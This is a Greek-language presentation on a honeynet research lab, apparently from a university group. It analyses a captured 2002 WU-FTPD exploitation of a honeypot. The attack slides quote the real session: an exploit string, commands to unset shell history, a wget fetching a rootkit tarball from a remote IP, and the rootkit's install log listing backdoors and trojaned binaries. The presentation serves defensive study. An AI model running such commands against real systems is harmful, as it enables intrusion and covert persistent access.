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ΤΑ ΘΕΜΑΤΑ

● Τι είναι Honeynet
● Ποιο πρόβληµα θέλει να αντιµετωπίσει
● Πως το αντιµετωπίζει – Know Your Enemy Έρευνα
● Με τι µέσα κάνει Έρευνα
● Τι αποτελέσµατα έχει.
● Ένα παράδειγµα
● ∆υνατότητες του εργαστηρίου για εξειδίκευση
στελεχών.

● Συµβολή στην ανάπτυξη τεχνογνωσίας για την
προστασία της Εθνικής υποδοµής Internet.



ΤΙ ΕΙΝΑΙ HONEYNET

•∆ίκτυο σχεδιασµένο για να
δέχεται επιθέσεις
•Αποτελείται από συστήµατα
(Honeypots) που δεν
διαφέρουν από τα συστήµατα
παραγωγής
•Το Honeywall Gateway δεν
επιτρέπει την χρήση των
Honeypots για επιθέσεις
•Εκτεταµένη χρήση STEALTH
τεχνολογιών παρακολούθησης
και περιορισµού των χακερ.



● Ποιο πρόβληµα θέλει να αντιµετωπίσει;
– Την έλλειψη πληροφορίας για τις κινήσεις των χακερ
– ∆εν υπάρχει ικανοποιητική λύση για µάθηση σχετικά µε τις 
απειλές που δέχεται η κοινότητα του Internet

● Πως το αντιµετωπίζει – Know Your Enemy Έρευνα
● Opensource project – Honeynet Research Alliance για την 
παρακολούθηση και µελέτη των δράσεων των χακερ. 

● Με τι µέσα κάνει Έρευνα
– Το µέλι, Τι κολλάει πάνω του

– Αναπτύσσοντας συστήµατα και τεχνολογίες Honeynet.
– Το Honeynet δεν είναι απλά ένα πακέτο λογισµικού, αλλά µια 
αρχιτεκτονική.

– Ο σκοπός της είναι η δηµιουργία ενός ελεγχόµενου δικτύου (virtual 
fishball)

● Τι αποτελέσµατα έχει.
– Αλληλεπίδραση χακερ µε τα συστήµατα «θύµατα» δίνει πληροφορίες.

– Καταγραφή της αλληλεπίδρασης και ανάλυση των δεδοµένων για µάθηση.



Περίπτωση Επίθεσης στο Internet 
Systematics LAB HoneyNet

● Ηµεροµηνία: 26/3/2002
● Θύµα:Redhat Linux-7.2
● Ευάλωτη Υπηρεσία: FTP
● Αδυναµία: WU-FTPD File name globbing
● CERT-CVE : CVE-2001-0550
● Χρόνος λειτουργίας HoneyPot : 7 ηµέρες
● Πηγή επίθεσης : Hong Kong



Ο ΧΑΚΕΡ ΨΑΧΝEI ΓΙΑ ΘΥΜΑΤΑ

● Ώρα 09:15-Μαζική ανίχνευση για ftp servers–∆ιάρκεια 78
Sec

● Εντοπίζεται από το NIDS Snort: PORTSCAN DETECTED
from 203.98.133.149 TOTAL hosts(121)



ΕΠΙΛΕΓΕΙ ΤΟ ΘΥΜΑ

• Ώρα 09:16-Αναζήτηση ευάλωτου ftp server–∆ιάρκεια:8Λεπτά
• Το Firewall καταγράφει τις συνδέσεις:
• 02/03/26 09:16:52 203.98.133.149  10.6.1.4        TCP     2242  21
• 02/03/26 09:19:32 203.98.133.149  10.6.1.3        TCP     2243  21
• 02/03/26 09:23:19 203.98.133.149  10.6.1.10       TCP     2244  21



Η ΩΡΑ ΤΗΣ ΕΠΙΘΕΣΗΣ

• Ώρα 23:31-Επίθεση στον ftp server 10.6.1.10–∆ιάρκεια:30Λεπτά
• 14 ώρες µετά το scanning tο Firewall καταγράφει τις
συνδέσεις:

• 02/03/26 23:31:25 203.98.133.149 10.6.1.10    TCP     2621    21 (attack)
• 02/03/26 23:33:34 10.6.1.10 61.139.76.104 TCP     1046 80 (rootkit 

download)
• O ΧΑΚΕΡ έχει µια νέα µηχανή στον έλεγχο του.



Η ΕΠΙΘΕΣΗ ΑΠΟ ΠΙΟ ΚΟΝΤΑ -1
• 220 www.honeypot.foo FTP server (Version wu-2.6.1-18) ready.
• USER ftp
• 331 Guest login ok, send your complete e-mail address as password.
• PASS mozilla@
• 230 Guest login ok, access restrictions apply.
• RNFR ././
• PWD
• CWD 0003F3jT'=Rh/D=XjTj(XjXRhn/shh//biRSunset HISTFILE;id;uname -a;
• Linux www.honeypot.foo 2.4.7-10 #1 Thu Sep 6 17:21:28 EDT 2001 i586 
• uptime
• 1:15am  up 7 days,  5:53,  0 users,  load average: 0.00, 0.00, 0.00
• cd /sbin;wget http://61.139.76.104/image/images/_notes/sclero/gurukit.tar.gz
• tar -zxf gurukit.tar.gz;cd gurukit
• ./install m3rd4
• [*] - Making dirs and configs        - [*]
• [*] - Installing backdoors       - [*]
• [*] - Installing Trojans             - [*]
• [-] - Open Ports      : 1024 513 514 515 37 111 80 113 21 23 443
• [-] - RootKit         : GuruKit succesfully installed.
• [-] - Welcome         : enjoy your r00t

• O χακερ
έχει πλέον
πρόσβαση
στο
honeypot. 
Φέρνει το
rootkit του
από ένα
αποµακρυ
σµένο web 
server και
το
εγκαθιστά.



Η ΕΠΙΘΕΣΗ ΑΠΟ ΠΙΟ ΚΟΝΤΑ –2
• Το rootkit φροντίζει για την
απόκρυψη της παρουσίας
του χακερ

• Εγκαθιστά backdoors για
απρόσκοπτη πρόσβαση

• Ενηµερώνει το σύστηµα
κλείνοντας της «αδυναµίες»
ασφαλείας ώστε να
προστατευτεί η µηχανή από
άλλους χακερ

• Τέλος ο χακερ ελέγχει τον ftp 
server σιγουρεύοντας ότι θα
είναι ο µόνος «πραγµατικός»
κάτοχος της.

• [*] - Making dirs and configs        -
[*]

• [*] - Installing backdoors 
• [*] - Installing Trojans
• [-] - Installing /sbin/syslogd
• [-] - Installing /bin/login
• [-] - Installing /bin/ps
• [-] - Installing /bin/netstat
• …
• [*] - Starting backdoors
• [*] - Installing init scripts 
• [*] - Patching wu-ftpd    
• [*] - Skipping sshd patch              
• [*] - Cleaning logs                
• [*] - Restarting syslogd
• [*] - Updating shell manager
• [*] - Removing old backdoors      
• [*] - Making a backup of old files 
• [*] - Patching in background         



ΤΙ ΜΑΘΑΜΕ
● Εντοπίσαµε µια επίθεση που χρησιµοποίησε µια τακτική
επίθεσης 4 φάσεων:
– Αναζήτηση ftp servers
– Αναγνώριση των ευάλωτων στόχων
– Επίθεση / Εγκατάσταση rootkits

● Απόκρυψη παρουσίας χακερ
● Πρόσβαση µε backdoors
● Προστασία του µηχανήµατος κλείνοντας την αρχική αδυναµία(vulnerability)

– Έλεγχος επιτυχής εγκατάστασης rootkit
● Η εκµετάλλευση της αδυναµίας γίνεται σε ανύποπτο χρόνο. 
Αποβλέποντας στον καθησυχασµό του διαχειριστή από το
έντονο scanning που προηγήθηκε

● Η αδυναµία ήταν ήδη γνωστή, ας σκεφτούµε τον κίνδυνο που
απορρέει από άγνωστες ως σήµερα αδυναµίες !!!



Mάθηση στο ISLab µε το Honeynet 
● Αξιοποίηση CMS στο intranet του εργαστηρίου

– για συλλογική µάθηση και διάχυση Γνώσης
– για δηµιουργία κρίσιµης µάζας τεχνογνωσίας 

● Κύρια πηγή Γνώσης είναι οι πραγµατικές απειλές 
στο  ∆ίκτυο 
– Εντοπισµός και ανάλυση απειλών
– Εξειδίκευση µέσα από  Λειτουργική εµπειρία

● Ακολουθούν ‘οθόνες’ από τις διαδικασίες του 
εργαστηρίου



∆ιαχείριση Γνώσης µε CMS



News/Story µηχανισµός επικοινωνίας



News/Story Γνωστικό αντικείµενο



∆ιεπαφή του CMS 1 



∆ιεπαφή CMS 2



Χάρτης Θεµάτων



Σύστηµα Ελέγχου Γεγονότων



Operational Monitoring



ΣΥΜΠΕΡΑΣΜΑTA

● Παρακολούθηση των διεθνών εξελίξεων
● ∆υνατότητες του εργαστηρίου για εξειδίκευση
στελεχών

● Ανοικτή πρόσκληση συνεργασίας 
● Συµβολή στην ανάπτυξη τεχνογνωσίας για
την προστασία της Εθνικής υποδοµής Internet
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